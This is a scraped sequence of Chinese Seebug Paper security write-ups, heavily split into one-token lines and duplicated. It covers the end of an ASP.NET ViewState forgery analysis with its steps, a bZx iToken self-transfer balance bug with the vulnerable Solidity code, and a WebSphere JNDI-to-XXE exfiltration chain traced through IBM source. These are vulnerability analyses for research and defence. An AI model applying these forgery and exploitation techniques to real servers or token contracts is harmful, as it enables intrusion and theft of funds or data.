_page
.
ViewStateUserKey
;
if
(
viewStateUserKey
!=
null
)
{
// Modify the key with the ViewStateUserKey, if any (ASURT 126375)
int
count
=
Encoding
.
Unicode
.
GetByteCount
(
viewStateUserKey
)
;
_macKeyBytes
=
new
byte
[
count
+
4
]
;
Encoding
.
Unicode
.
GetBytes
(
viewStateUserKey
,
0
,
viewStateUserKey
.
Length
,
_macKeyBytes
,
4
)
;
}
else
{
_macKeyBytes
=
new
byte
[
4
]
;
}
_macKeyBytes
[
0
]
=
(
byte
)
pageHashCode
;
_macKeyBytes
[
1
]
=
(
byte
)
(
pageHashCode
>>
8
)
;
_macKeyBytes
[
2
]
=
(
byte
)
(
pageHashCode
>>
16
)
;
_macKeyBytes
[
3
]
=
(
byte
)
(
pageHashCode
>>
24
)
;
}
return
_macKeyBytes
;
}
// This is a non-cryptographic hash code that can be used to identify which Page generated
// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs
// are assumed to be known by all parties.
internal uint GetClientStateIdentifier() {
// Use non-randomized hash code algorithms instead of String.GetHashCode.
// Use the page's directory and class name as part of the key (ASURT 64044)
// We need to make sure that the hash is case insensitive, since the file system
// is, and strange view state errors could otherwise happen (ASURT 128657)
int pageHashCode = StringUtil.GetNonRandomizedHashCode(TemplateSourceDirectory, ignoreCase:true);
pageHashCode += StringUtil.GetNonRandomizedHashCode(GetType().Name, ignoreCase:true);
return (uint)pageHashCode;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// This is a non-cryptographic hash code that can be used to identify which Page generated
// a __VIEWSTATE field. It shouldn't be considered sensitive information since its inputs
// are assumed to be known by all parties.
internal
uint
GetClientStateIdentifier
(
)
{
// Use non-randomized hash code algorithms instead of String.GetHashCode.
// Use the page's directory and class name as part of the key (ASURT 64044)
// We need to make sure that the hash is case insensitive, since the file system
// is, and strange view state errors could otherwise happen (ASURT 128657)
int
pageHashCode
=
StringUtil
.
GetNonRandomizedHashCode
(
TemplateSourceDirectory
,
ignoreCase
:
true
)
;
pageHashCode
+=
StringUtil
.
GetNonRandomizedHashCode
(
GetType
(
)
.
Name
,
ignoreCase
:
true
)
;
return
(
uint
)
pageHashCode
;
}
经过上面长篇大论的贴代码、分析。我们已经大致明白了ASP.NET 生成和解析ViewState 的流程。这有助帮助我们理解如何伪造 ViewState。当然了伪造 ViewState 仍然需要 泄露web.config,知晓其 密钥与算法。
-
如果签名算法不是AES/3DES,无论是否开启加密功能,我们只需要根据其签名算法和密钥,生成一个签名的ViewState。由于发送该ViewState的时候没有使用"__VIEWSTATEENCRYPTED" 字段,导致ASP.NET 在解析时直接进入GetDecodedData() 进行签名校验,而不再执行解密步骤。
-
如果签名算法是 AES/3DES,无论是否开启加密功能,我们只需按照先前所讲,对数据先签名一次,再加密一次,再签名一次。 然后发送给服务端,ASP.NET 进入 GetDecodedData(),然后先进 EncryptOrDecryptData() 进行一次校验和解密,出来后再进行一次校验。
换种表达方式,无论使用什么签名算法,无论是否开启加密功能,我们伪造ViewState时,就按照没有开启加密功能情况下的正常步骤,去伪造ViewState。
9.附录:
[1] ysoserial.net
https://github.com/pwntester/ysoserial.net
[2] viwgen (python 写的viewstate生成工具,不依赖.NET,方便自动化脚本使用)
https://github.com/0xacb/viewgen
[3] 什么是View State 及其在ASP.NET中的工作方式
https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/
[4] 微软官方文档:ASP.NET服务器控件概述
https://docs.microsoft.com/zh-cn/troubleshoot/aspnet/server-controls
[5]《MSDN杂志》文章:ViewState 安全
https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security
[6] 安全通告KB2905247
https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2013/2905247?redirectedfrom=MSDN
[7] 使用ViewState
http://appetere.com/post/working-with-viewstate
[8] Exhange CVE-2020-0688
https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1386/
2020-11-03
作者:昏鸦@知道创宇404区块链安全研究团队
时间:2020年9月14日
发生了什么
iToken是bZx推出的一种代币,今天早些时候,bZx官方发推表示发现了一些iTokens的安全事件,随后有研究员对比iToken合约源码改动,指出其中存在安全问题,可被攻击用于薅羊毛。
require(_to != address(0), "15");
uint256 _balancesFromNew = _balancesFrom.sub(_value, "16");
balances[_from] = _balancesFromNew;
uint256 _balancesToNew = _balancesTo.add(_value);
balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to相同时
uint256
_balancesFrom
=
balances
[
_from
]
;
uint256
_balancesTo
=
balances
[
_to
]
;
require
(
_to
!=
address
(
0
)
,
"15"
)
;
uint256
_balancesFromNew
=
_balancesFrom
.
sub
(
_value
,
"16"
)
;
balances
[
_from
]
=
_balancesFromNew
;
uint256
_balancesToNew
=
_balancesTo
.
add
(
_value
)
;
balances
[
_to
]
=
_balancesToNew
;
//knownsec// 变量覆盖,当_from与_to相同时
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
contract Test {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping(address => mapping (address => uint256)) public allowed;
mapping(address => uint256) internal balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor() public {
_totalSupply = 1 * 10 ** 18;
balances[msg.sender] = _totalSupply;
function totalSupply() external view returns (uint256) {
return _totalSupply;
function balanceOf(address account) external view returns (uint256) {
return balances[account];
function approve(address spender, uint256 amount) external returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
function transferFrom(
address _from,
address _to,
uint256 _value)
external
returns (bool)
return _internalTransferFrom(
_from,
_value,
allowed[_from][msg.sender]
/*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?
uint256(-1) :
allowed[_from][msg.sender]*/
function _internalTransferFrom(
address _from,
address _to,
uint256 _value,
uint256 _allowanceAmount)
internal
returns (bool)
if (_allowanceAmount != uint256(-1)) {
allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14");
uint256 _balancesFrom = balances[_from];
uint256 _balancesTo = balances[_to];
require(_to != address(0), "15");
uint256 _balancesFromNew = _balancesFrom
.sub(_value, "16");
balances[_from] = _balancesFromNew;
uint256 _balancesToNew = _balancesTo
.add(_value);
balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to一致时
// handle checkpoint update
// uint256 _currentPrice = tokenPrice();
// _updateCheckpoints(
// _from,
// _balancesFrom,
// _balancesFromNew,
// _currentPrice
// );
// _updateCheckpoints(
// _to,
// _balancesTo,
// _balancesToNew,
// _currentPrice
// );
emit Transfer(_from, _to, _value);
return true;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
pragma
solidity
^
0.5.0
;
library
SafeMath
{
function
add
(
uint256
a
,
uint256
b
)
internal
pure
returns
(
uint256
)
{
uint256
c
=
a
+
b
;
require
(
c
>=
a
,
"SafeMath: addition overflow"
)
;
return
c
;
}
function
sub
(
uint256
a
,
uint256
b
)
internal
pure
returns
(
uint256
)
{
return
sub
(
a
,
b
,
"SafeMath: subtraction overflow"
)
;
}
function
sub
(
uint256
a
,
uint256
b
,
string
memory
errorMessage
)
internal
pure
returns
(
uint256
)
{
require
(
b
&
lt
;
=
a
,
errorMessage
)
;
uint256
c
=
a
-
b
;
return
c
;
}
function
mul
(
uint256
a
,
uint256
b
)
internal
pure
returns
(
uint256
)
{
if
(
a
==
0
)
{
return
0
;
}
uint256
c
=
a *
b
;
require
(
c
/
a
==
b
,
"SafeMath: multiplication overflow"
)
;
return
c
;
}
function
div
(
uint256
a
,
uint256
b
)
internal
pure
returns
(
uint256
)
{
return
div
(
a
,
b
,
"SafeMath: division by zero"
)
;
}
function
div
(
uint256
a
,
uint256
b
,
string
memory
errorMessage
)
internal
pure
returns
(
uint256
)
{
require
(
b
>
0
,
errorMessage
)
;
uint256
c
=
a
/
b
;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return
c
;
}
function
mod
(
uint256
a
,
uint256
b
)
internal
pure
returns
(
uint256
)
{
return
mod
(
a
,
b
,
"SafeMath: modulo by zero"
)
;
}
function
mod
(
uint256
a
,
uint256
b
,
string
memory
errorMessage
)
internal
pure
returns
(
uint256
)
{
require
(
b
!=
0
,
errorMessage
)
;
return
a
%
b
;
}
}
contract
Test
{
using
SafeMath
for
uint256
;
uint256
internal
_totalSupply
;
mapping
(
address
=
>
mapping
(
address
=
>
uint256
)
)
public
allowed
;
mapping
(
address
=
>
uint256
)
internal
balances
;
event
Transfer
(
address
indexed
from
,
address
indexed
to
,
uint256
value
)
;
event
Approval
(
address
indexed
owner
,
address
indexed
spender
,
uint256
amount
)
;
constructor
(
)
public
{
_totalSupply
=
1
*
10
*
*
18
;
balances
[
msg
.
sender
]
=
_totalSupply
;
}
function
totalSupply
(
)
external
view
returns
(
uint256
)
{
return
_totalSupply
;
}
function
balanceOf
(
address
account
)
external
view
returns
(
uint256
)
{
return
balances
[
account
]
;
}
function
approve
(
address
spender
,
uint256
amount
)
external
returns
(
bool
)
{
require
(
spender
!=
address
(
0
)
)
;
allowed
[
msg
.
sender
]
[
spender
]
=
amount
;
emit
Approval
(
msg
.
sender
,
spender
,
amount
)
;
}
function
transferFrom
(
address
_from
,
address
_to
,
uint256
_value
)
external
returns
(
bool
)
{
return
_internalTransferFrom
(
_from
,
_to
,
_value
,
allowed
[
_from
]
[
msg
.
sender
]
/*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?
uint256(-1) :
allowed[_from][msg.sender]*/
)
;
}
function
_internalTransferFrom
(
address
_from
,
address
_to
,
uint256
_value
,
uint256
_allowanceAmount
)
internal
returns
(
bool
)
{
if
(
_allowanceAmount
!=
uint256
(
-
1
)
)
{
allowed
[
_from
]
[
msg
.
sender
]
=
_allowanceAmount
.
sub
(
_value
,
"14"
)
;
}
uint256
_balancesFrom
=
balances
[
_from
]
;
uint256
_balancesTo
=
balances
[
_to
]
;
require
(
_to
!=
address
(
0
)
,
"15"
)
;
uint256
_balancesFromNew
=
_balancesFrom
.
sub
(
_value
,
"16"
)
;
balances
[
_from
]
=
_balancesFromNew
;
uint256
_balancesToNew
=
_balancesTo
.
add
(
_value
)
;
balances
[
_to
]
=
_balancesToNew
;
//knownsec// 变量覆盖,当_from与_to一致时
// handle checkpoint update
// uint256 _currentPrice = tokenPrice();
// _updateCheckpoints(
// _from,
// _balancesFrom,
// _balancesFromNew,
// _currentPrice
// );
// _updateCheckpoints(
// _to,
// _balancesTo,
// _balancesToNew,
// _currentPrice
// );
emit
Transfer
(
_from
,
_to
,
_value
)
;
return
true
;
}
}
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:
https://paper.seebug.org/1334/
2020-11-03
作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM
时间:2020年9月21日
2020年9月17日,IBM发布了一个WebSphere XXE
漏洞公告
。 当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁,果不其然,当时心里就很遗憾,本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的,因为害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现,后来正打算把XXE提交了,就看到官方发布了公告,看了下作者,是绿盟的一位大佬,也是CVE-2020-4450的发现者之一,这些默默挖洞的大佬,只可远观眺望啊。WebSphere的分析似乎挺少,聊聊几篇分析,不像Weblogic那样量产漏洞,单是一个高版本sdk就拦截了很多链或者说连接可用链的点,心想与其烂在手里,还不如分享出来,下面写下我们发现过程,其实重要的不是这个XXE,而是到达XXE这个点的前半部分。
先来看看补丁,只能看出是修复了一个XXE,不知道是哪儿的XXE:
最开始研究WebSphere就是前不久的CVE-2020-4450,这个漏洞外面已经有分析了。为了更熟悉一点WebSphere,我们也去研究了历史补丁,例如印象比较深的就是前不久的CVE-2020-4276,这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过,RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口,在确认了已经无法在历史漏洞上做文章的时,只好从readObject、readExternal、toString、compare等函数去尝试找下了,后来在一个readObject找到一个能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公开的利用链都被堵上了,本地反序列化其实没什么作用在这里,所以只剩下看本地Factory了。反序列化入口暂时先不给出,可能这样的反序列化入口还有很多,我们碰巧遇到了其中一个,如果后面有幸找到了RCE漏洞,就把我们找到的入口写出来,下面从那个readObject中的JNDI开始吧。
在
com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject
中:
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
try {
in.defaultReadObject();
this.ivStatelessSession = in.readBoolean();
ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return Thread.currentThread().getContextClassLoader();
this.ivBeanClassName = in.readUTF();
this.ivHomeClass = loader.loadClass(in.readUTF());
this.ivRemoteClass = loader.loadClass(in.readUTF());
if (!this.ivSession) {
this.ivPKClass = loader.loadClass(in.readUTF());
this.ivHomeHandle = (HomeHandle)in.readObject();
EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了
} catch (IOException var6) {
throw var6;
} catch (ClassNotFoundException var7) {
throw var7;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private
void
readObject
(
ObjectInputStream
in
)
throws
IOException
,
ClassNotFoundException
{
try
{
in
.
defaultReadObject
(
)
;
.
.
.
.
.
.
this
.
ivStatelessSession
=
in
.
readBoolean
(
)
;
ClassLoader
loader
=
(
ClassLoader
)
AccessController
.
doPrivileged
(
new
PrivilegedAction
(
)
{
public
Object
run
(
)
{
return
Thread
.
currentThread
(
)
.
getContextClassLoader
(
)
;
}
}
)
;
this
.
ivBeanClassName
=
in
.
readUTF
(
)
;
this
.
ivHomeClass
=
loader
.
loadClass
(
in
.
readUTF
(
)
)
;
this
.
ivRemoteClass
=
loader
.
loadClass
(
in
.
readUTF
(
)
)
;
if
(
!
this
.
ivSession
)
{
this
.
ivPKClass
=
loader
.
loadClass
(
in
.
readUTF
(
)
)
;
}
this
.
ivHomeHandle
=
(
HomeHandle
)
in
.
readObject
(
)
;
EJBHome
ejbHomeStub
=
this
.
ivHomeHandle
.
getEJBHome
(
)
;
//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控
this
.
ivEjbHome
=
(
EJBHome
)
PortableRemoteObject
.
narrow
(
ejbHomeStub
,
this
.
ivHomeClass
)
;
//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了
}
catch
(
IOException
var6
)
{
throw
var6
;
}
catch
(
ClassNotFoundException
var7
)
{
throw
var7
;
}
}
public EJBHome getEJBHome() throws RemoteException {
if (this.ivEjbHome == null) {
NoSuchObjectException re;
InitialContext ctx;
try {
if (this.ivInitialContextProperties == null) {
ctx = new InitialContext();
} else {
try {
ctx = new InitialContext(this.ivInitialContextProperties);
} catch (NamingException var5) {
ctx = new InitialContext();
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询,ivJndiName是属性,很容易控制
} catch (NoInitialContextException var6) {
Properties p = new Properties();
p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");
ctx = new InitialContext(p);
this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);
return this.ivEjbHome;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public
EJBHome
getEJBHome
(
)
throws
RemoteException
{
if
(
this
.
ivEjbHome
==
null
)
{
NoSuchObjectException
re
;
.
.
.
.
.
.
InitialContext
ctx
;
try
{
if
(
this
.
ivInitialContextProperties
==
null
)
{
ctx
=
new
InitialContext
(
)
;
}
else
{
try
{
ctx
=
new
InitialContext
(
this
.
ivInitialContextProperties
)
;
}
catch
(
NamingException
var5
)
{
ctx
=
new
InitialContext
(
)
;
}
}
this
.
ivEjbHome
=
(
EJBHome
)
PortableRemoteObject
.
narrow
(
ctx
.
lookup
(
this
.
ivJndiName
)
,
homeClass
)
;
//进行了JNDI查询,ivJndiName是属性,很容易控制
}
catch
(
NoInitialContextException
var6
)
{
Properties
p
=
new
Properties
(
)
;
p
.
put
(
"java.naming.factory.initial"
,
"com.ibm.websphere.naming.WsnInitialContextFactory"
)
;
ctx
=
new
InitialContext
(
p
)
;
this
.
ivEjbHome
=
(
EJBHome
)
PortableRemoteObject
.
narrow
(
ctx
.
lookup
(
this
.
ivJndiName
)
,
homeClass
)
;
}
.
.
.
.
.
.
return
this
.
ivEjbHome
;
}
public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception {
Object instance = null;
if (refObject instanceof Reference) {
Reference ref = (Reference)refObject;
RefAddr addr = ref.get("service classname");
Object obj = null;
if (addr != null && (obj = addr.getContent()) instanceof String) {
instance = ClassUtils.forName((String)obj).newInstance();
} else {
addr = ref.get("WSDL location");
if (addr != null && (obj = addr.getContent()) instanceof String) {
URL wsdlLocation = new URL((String)obj);
addr = ref.get("service namespace");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String namespace = (String)obj;
addr = ref.get("service local part");
if (addr != null && (obj = addr.getContent()) instanceof String) {
String localPart = (String)obj;
QName serviceName = QNameTable.createQName(namespace, localPart);
Class[] formalArgs = new Class[]{URL.class, QName.class};
Object[] actualArgs = new Object[]{wsdlLocation, serviceName};
Constructor ctor = Service.class.getDeclaredConstructor(formalArgs);
instance = ctor.newInstance(actualArgs);//调用了Service构造函数
addr = ref.get("maintain session");
if (addr != null && instance instanceof Service) {
((Service)instance).setMaintainSession(true);
return instance;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public
Object
getObjectInstance
(
Object
refObject
,
Name
name
,
Context
nameCtx
,
Hashtable
environment
)
throws
Exception
{
Object
instance
=
null
;
if
(
refObject
instanceof
Reference
)
{
Reference
ref
=
(
Reference
)
refObject
;
RefAddr
addr
=
ref
.
get
(
"service classname"
)
;
Object
obj
=
null
;
if
(
addr
!=
null
&
amp
;
&
amp
;
(
obj
=
addr
.
getContent
(
)
)
instanceof
String
)
{
instance
=
ClassUtils
.
forName
(
(
String
)
obj
)
.
newInstance
(
)
;
}
else
{
addr
=
ref
.
get
(
"WSDL location"
)
;
if
(
addr
!=
null
&
amp
;
&
amp
;
(
obj
=
addr
.
getContent
(
)
)
instanceof
String
)
{
URL
wsdlLocation
=
new
URL
(
(
String
)
obj
)
;
addr
=
ref
.
get
(
"service namespace"
)
;
if
(
addr
!=
null
&
amp
;
&
amp
;
(
obj
=
addr
.
getContent
(
)
)
instanceof
String
)
{
String
namespace
=
(
String
)
obj
;
addr
=
ref
.
get
(
"service local part"
)
;
if
(
addr
!=
null
&
amp
;
&
amp
;
(
obj
=
addr
.
getContent
(
)
)
instanceof
String
)
{
String
localPart
=
(
String
)
obj
;
QName
serviceName
=
QNameTable
.
createQName
(
namespace
,
localPart
)
;
Class
[
]
formalArgs
=
new
Class
[
]
{
URL
.
class
,
QName
.
class
}
;
Object
[
]
actualArgs
=
new
Object
[
]
{
wsdlLocation
,
serviceName
}
;
Constructor
ctor
=
Service
.
class
.
getDeclaredConstructor
(
formalArgs
)
;
instance
=
ctor
.
newInstance
(
actualArgs
)
;
//调用了Service构造函数
}
}
}
}
addr
=
ref
.
get
(
"maintain session"
)
;
if
(
addr
!=
null
&
amp
;
&
amp
;
instance
instanceof
Service
)
{
(
(
Service
)
instance
)
.
setMaintainSession
(
true
)
;
}
}
return
instance
;
}
public Service(URL wsdlLocation, QName serviceName) throws ServiceException {
if (log.isDebugEnabled()) {
log.debug("Entry Service(URL, QName) " + serviceName.toString());
this.serviceName = serviceName;
this.wsdlLocation = wsdlLocation;
Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null;
if (def == null) {
Document doc = null;
try {
doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析
} catch (Exception var8) {
FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8));
try {
WSDLFactory factory = new WSDLFactoryImpl();
WSDLReader reader = factory.newWSDLReader();
reader.setFeature("javax.wsdl.verbose", false);
def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据
if (cachingWSDL) {
cachedWSDL.put(wsdlLocation.toString(), def);
} catch (Exception var7) {
FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this);
throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7));
this.initService(def);
if (log.isDebugEnabled()) {
log.debug("Exit Service(URL, QName) ");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public
Service
(
URL
wsdlLocation
,
QName
serviceName
)
throws
ServiceException
{
if
(
log
.
isDebugEnabled
(
)
)
{
log
.
debug
(
"Entry Service(URL, QName) "
+
serviceName
.
toString
(
)
)
;
}
this
.
serviceName
=
serviceName
;
this
.
wsdlLocation
=
wsdlLocation
;
Definition
def
=
cachingWSDL
?
(
Definition
)
cachedWSDL
.
get
(
wsdlLocation
.
toString
(
)
)
:
null
;
if
(
def
==
null
)
{
Document
doc
=
null
;
try
{
doc
=
XMLUtils
.
newDocument
(
wsdlLocation
.
toString
(
)
)
;
//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析
}
catch
(
Exception
var8
)
{
FFDCFilter
.
processException
(
var8
,
"com.ibm.ws.webservices.engine.client.Service.initService"
,
"199"
,
this
)
;
throw
new
ServiceException
(
Messages
.
getMessage
(
"wsdlError00"
,
""
,
"\n"
+
var8
)
)
;
}
try
{
WSDLFactory
factory
=
new
WSDLFactoryImpl
(
)
;
WSDLReader
reader
=
factory
.
newWSDLReader
(
)
;
reader
.
setFeature
(
"javax.wsdl.verbose"
,
false
)
;
def
=
reader
.
readWSDL
(
wsdlLocation
.
toString
(
)
,
doc
)
;
//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据
if
(
cachingWSDL
)
{
cachedWSDL
.
put
(
wsdlLocation
.
toString
(
)
,
def
)
;
}
}
catch
(
Exception
var7
)
{
FFDCFilter
.
processException
(
var7
,
"com.ibm.ws.webservices.engine.client.Service.initService"
,
"293"
,
this
)
;
throw
new
ServiceException
(
Messages
.
getMessage
(
"wsdlError00"
,
""
,
"\n"
+
var7
)
)
;
}
}
this
.
initService
(
def
)
;
if
(
log
.
isDebugEnabled
(
)
)
{
log
.
debug
(
"Exit Service(URL, QName) "
)
;
}
}
protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException {
checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS);
WSDLFactory factory = this.getWSDLFactory();
Definition def = factory.newDefinition();
if (this.extReg != null) {
def.setExtensionRegistry(this.extReg);
String name = DOMUtils.getAttribute(defEl, "name");
String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace");
NamedNodeMap attrs = defEl.getAttributes();
if (importedDefs == null) {
importedDefs = new Hashtable();
if (documentBaseURI != null) {
def.setDocumentBaseURI(documentBaseURI);
((Map)importedDefs).put(documentBaseURI, def);
if (name != null) {
def.setQName(new QName(targetNamespace, name));
if (targetNamespace != null) {
def.setTargetNamespace(targetNamespace);
int size = attrs.getLength();
for(int i = 0; i < size; ++i) {
Attr attr = (Attr)attrs.item(i);
String namespaceURI = attr.getNamespaceURI();
String localPart = attr.getLocalName();
String value = attr.getValue();
if (namespaceURI != null && namespaceURI.equals("http://www.w3.org/2000/xmlns/")) {
if (localPart != null && !localPart.equals("xmlns")) {
def.addNamespace(localPart, value);
} else {
def.addNamespace((String)null, value);
for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) {
if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) {
def.addImport(this.parseImport(tempEl, def, (Map)importedDefs));
} else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) {
def.setDocumentationElement(tempEl);
} else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) {
def.setTypes(this.parseTypes(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) {
def.addMessage(this.parseMessage(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) {
def.addPortType(this.parsePortType(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) {
def.addBinding(this.parseBinding(tempEl, def));
} else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) {
def.addService(this.parseService(tempEl, def));
} else {
def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def));
this.parseExtensibilityAttributes(defEl, Definition.class, def, def);
return def;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
protected
Definition
parseDefinitions
(
String
documentBaseURI
,
Element
defEl
,
Map
importedDefs
)
throws
WSDLException
{
checkElementName
(
defEl
,
Constants
.
Q_ELEM_DEFINITIONS
)
;
WSDLFactory
factory
=
this
.
getWSDLFactory
(
)
;
Definition
def
=
factory
.
newDefinition
(
)
;
if
(
this
.
extReg
!=
null
)
{
def
.
setExtensionRegistry
(
this
.
extReg
)
;
}
String
name
=
DOMUtils
.
getAttribute
(
defEl
,
"name"
)
;
String
targetNamespace
=
DOMUtils
.
getAttribute
(
defEl
,
"targetNamespace"
)
;
NamedNodeMap
attrs
=
defEl
.
getAttributes
(
)
;
if
(
importedDefs
==
null
)
{
importedDefs
=
new
Hashtable
(
)
;
}
if
(
documentBaseURI
!=
null
)
{
def
.
setDocumentBaseURI
(
documentBaseURI
)
;
(
(
Map
)
importedDefs
)
.
put
(
documentBaseURI
,
def
)
;
}
if
(
name
!=
null
)
{
def
.
setQName
(
new
QName
(
targetNamespace
,
name
)
)
;
}
if
(
targetNamespace
!=
null
)
{
def
.
setTargetNamespace
(
targetNamespace
)
;
}
int
size
=
attrs
.
getLength
(
)
;
for
(
int
i
=
0
;
i
&
lt
;
size
;
++
i
)
{
Attr
attr
=
(
Attr
)
attrs
.
item
(
i
)
;
String
namespaceURI
=
attr
.
getNamespaceURI
(
)
;
String
localPart
=
attr
.
getLocalName
(
)
;
String
value
=
attr
.
getValue
(
)
;
if
(
namespaceURI
!=
null
&
amp
;
&
amp
;
namespaceURI
.
equals
(
"http://www.w3.org/2000/xmlns/"
)
)
{
if
(
localPart
!=
null
&
amp
;
&
amp
;
!
localPart
.
equals
(
"xmlns"
)
)
{
def
.
addNamespace
(
localPart
,
value
)
;
}
else
{
def
.
addNamespace
